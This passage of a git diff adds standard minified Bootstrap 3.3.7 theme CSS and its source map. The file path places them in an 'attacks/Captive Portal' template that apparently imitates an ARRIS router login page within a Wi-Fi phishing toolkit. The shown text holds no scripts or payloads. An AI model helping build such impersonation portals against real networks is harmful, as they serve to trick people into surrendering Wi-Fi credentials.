rgba(255,255,255,.25)}.navbar-inverse{background-image:-webkit-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-o-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#3c3c3c),to(#222));background-image:linear-gradient(to bottom,#3c3c3c 0,#222 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-o-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#080808),to(#0f0f0f));background-image:linear-gradient(to bottom,#080808 0,#0f0f0f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.25);box-shadow:inset 0 3px 9px rgba(0,0,0,.25)}.navbar-inverse .navbar-brand,.navbar-inverse .navbar-nav>li>a{text-shadow:0 -1px 0 rgba(0,0,0,.25)}.navbar-fixed-bottom,.navbar-fixed-top,.navbar-static-top{border-radius:0}@media (max-width:767px){.navbar .navbar-nav .open .dropdown-menu>.active>a,.navbar .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}}.alert{text-shadow:0 1px 0 rgba(255,255,255,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05)}.alert-success{background-image:-webkit-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#c8e5bc));background-image:linear-gradient(to bottom,#dff0d8 0,#c8e5bc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);background-repeat:repeat-x;border-color:#b2dba1}.alert-info{background-image:-webkit-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#b9def0));background-image:linear-gradient(to bottom,#d9edf7 0,#b9def0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);background-repeat:repeat-x;border-color:#9acfea}.alert-warning{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#f8efc0));background-image:linear-gradient(to bottom,#fcf8e3 0,#f8efc0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);background-repeat:repeat-x;border-color:#f5e79e}.alert-danger{background-image:-webkit-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-o-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#e7c3c3));background-image:linear-gradient(to bottom,#f2dede 0,#e7c3c3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);background-repeat:repeat-x;border-color:#dca7a7}.progress{background-image:-webkit-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#f5f5f5));background-image:linear-gradient(to bottom,#ebebeb 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x}.progress-bar{background-image:-webkit-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-o-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#286090));background-image:linear-gradient(to bottom,#337ab7 0,#286090 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);background-repeat:repeat-x}.progress-bar-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#449d44));background-image:linear-gradient(to bottom,#5cb85c 0,#449d44 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);background-repeat:repeat-x}.progress-bar-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#31b0d5));background-image:linear-gradient(to bottom,#5bc0de 0,#31b0d5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);background-repeat:repeat-x}.progress-bar-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#ec971f));background-image:linear-gradient(to bottom,#f0ad4e 0,#ec971f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);background-repeat:repeat-x}.progress-bar-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c9302c));background-image:linear-gradient(to bottom,#d9534f 0,#c9302c 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);background-repeat:repeat-x}.progress-bar-striped{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.list-group{border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{text-shadow:0 -1px 0 #286090;background-image:-webkit-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2b669a));background-image:linear-gradient(to bottom,#337ab7 0,#2b669a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);background-repeat:repeat-x;border-color:#2b669a}.list-group-item.active .badge,.list-group-item.active:focus .badge,.list-group-item.active:hover .badge{text-shadow:none}.panel{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.05);box-shadow:0 1px 2px rgba(0,0,0,.05)}.panel-default>.panel-heading{background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.panel-primary>.panel-heading{background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.panel-success>.panel-heading{background-image:-webkit-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#d0e9c6));background-image:linear-gradient(to bottom,#dff0d8 0,#d0e9c6 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);background-repeat:repeat-x}.panel-info>.panel-heading{background-image:-webkit-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#c4e3f3));background-image:linear-gradient(to bottom,#d9edf7 0,#c4e3f3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);background-repeat:repeat-x}.panel-warning>.panel-heading{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#faf2cc));background-image:linear-gradient(to bottom,#fcf8e3 0,#faf2cc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);background-repeat:repeat-x}.panel-danger>.panel-heading{background-image:-webkit-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-o-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#ebcccc));background-image:linear-gradient(to bottom,#f2dede 0,#ebcccc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);background-repeat:repeat-x}.well{background-image:-webkit-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#e8e8e8),to(#f5f5f5));background-image:linear-gradient(to bottom,#e8e8e8 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x;border-color:#dcdcdc;-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1)} +/*# sourceMappingURL=bootstrap-theme.min.css.map */ \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css.map b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css.map new file mode 100644 index 0000000..94813e9 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["less/theme.less","less/mixins/vendor-prefixes.less","less/mixins/gradients.less","less/mixins/reset-filter.less"],"names":[],"mappings":"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","sourcesContent":["/*!\n * Bootstrap v3.3.7 (http://getbootstrap.com)\n * Copyright 2011-2016 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\n//\n// Load core variables and mixins\n// --------------------------------------------------\n\n@import \"variables.less\";\n@import \"mixins.less\";\n\n\n//\n// Buttons\n// --------------------------------------------------\n\n// Common styles\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n text-shadow: 0 -1px 0 rgba(0,0,0,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 1px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n // Reset the shadow\n &:active,\n &.active {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n .box-shadow(none);\n }\n\n .badge {\n text-shadow: none;\n }\n}\n\n// Mixin for generating new styles\n.btn-styles(@btn-color: #555) {\n #gradient > .vertical(@start-color: @btn-color; @end-color: darken(@btn-color, 12%));\n .reset-filter(); // Disable gradients for IE9 because filter bleeds through rounded corners; see https://github.com/twbs/bootstrap/issues/10620\n background-repeat: repeat-x;\n border-color: darken(@btn-color, 14%);\n\n &:hover,\n &:focus {\n background-color: darken(@btn-color, 12%);\n background-position: 0 -15px;\n }\n\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n border-color: darken(@btn-color, 14%);\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &,\n &:hover,\n &:focus,\n &.focus,\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n background-image: none;\n }\n }\n}\n\n// Common styles\n.btn {\n // Remove the gradient for the pressed/active state\n &:active,\n &.active {\n background-image: none;\n }\n}\n\n// Apply the mixin to the buttons\n.btn-default { .btn-styles(@btn-default-bg); text-shadow: 0 1px 0 #fff; border-color: #ccc; }\n.btn-primary { .btn-styles(@btn-primary-bg); }\n.btn-success { .btn-styles(@btn-success-bg); }\n.btn-info { .btn-styles(@btn-info-bg); }\n.btn-warning { .btn-styles(@btn-warning-bg); }\n.btn-danger { .btn-styles(@btn-danger-bg); }\n\n\n//\n// Images\n// --------------------------------------------------\n\n.thumbnail,\n.img-thumbnail {\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n\n\n//\n// Dropdowns\n// --------------------------------------------------\n\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-hover-bg; @end-color: darken(@dropdown-link-hover-bg, 5%));\n background-color: darken(@dropdown-link-hover-bg, 5%);\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n background-color: darken(@dropdown-link-active-bg, 5%);\n}\n\n\n//\n// Navbar\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n #gradient > .vertical(@start-color: lighten(@navbar-default-bg, 10%); @end-color: @navbar-default-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered\n border-radius: @navbar-border-radius;\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 5px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: darken(@navbar-default-link-active-bg, 5%); @end-color: darken(@navbar-default-link-active-bg, 2%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.075));\n }\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255,255,255,.25);\n}\n\n// Inverted navbar\n.navbar-inverse {\n #gradient > .vertical(@start-color: lighten(@navbar-inverse-bg, 10%); @end-color: @navbar-inverse-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered; see https://github.com/twbs/bootstrap/issues/10257\n border-radius: @navbar-border-radius;\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: @navbar-inverse-link-active-bg; @end-color: lighten(@navbar-inverse-link-active-bg, 2.5%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.25));\n }\n\n .navbar-brand,\n .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0,0,0,.25);\n }\n}\n\n// Undo rounded corners in static and fixed navbars\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n\n// Fix active state of dropdown items in collapsed mode\n@media (max-width: @grid-float-breakpoint-max) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: #fff;\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n }\n }\n}\n\n\n//\n// Alerts\n// --------------------------------------------------\n\n// Common styles\n.alert {\n text-shadow: 0 1px 0 rgba(255,255,255,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.25), 0 1px 2px rgba(0,0,0,.05);\n .box-shadow(@shadow);\n}\n\n// Mixin for generating new styles\n.alert-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 7.5%));\n border-color: darken(@color, 15%);\n}\n\n// Apply the mixin to the alerts\n.alert-success { .alert-styles(@alert-success-bg); }\n.alert-info { .alert-styles(@alert-info-bg); }\n.alert-warning { .alert-styles(@alert-warning-bg); }\n.alert-danger { .alert-styles(@alert-danger-bg); }\n\n\n//\n// Progress bars\n// --------------------------------------------------\n\n// Give the progress background some depth\n.progress {\n #gradient > .vertical(@start-color: darken(@progress-bg, 4%); @end-color: @progress-bg)\n}\n\n// Mixin for generating new styles\n.progress-bar-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 10%));\n}\n\n// Apply the mixin to the progress bars\n.progress-bar { .progress-bar-styles(@progress-bar-bg); }\n.progress-bar-success { .progress-bar-styles(@progress-bar-success-bg); }\n.progress-bar-info { .progress-bar-styles(@progress-bar-info-bg); }\n.progress-bar-warning { .progress-bar-styles(@progress-bar-warning-bg); }\n.progress-bar-danger { .progress-bar-styles(@progress-bar-danger-bg); }\n\n// Reset the striped class because our mixins don't do multiple gradients and\n// the above custom styles override the new `.progress-bar-striped` in v3.2.0.\n.progress-bar-striped {\n #gradient > .striped();\n}\n\n\n//\n// List groups\n// --------------------------------------------------\n\n.list-group {\n border-radius: @border-radius-base;\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 darken(@list-group-active-bg, 10%);\n #gradient > .vertical(@start-color: @list-group-active-bg; @end-color: darken(@list-group-active-bg, 7.5%));\n border-color: darken(@list-group-active-border, 7.5%);\n\n .badge {\n text-shadow: none;\n }\n}\n\n\n//\n// Panels\n// 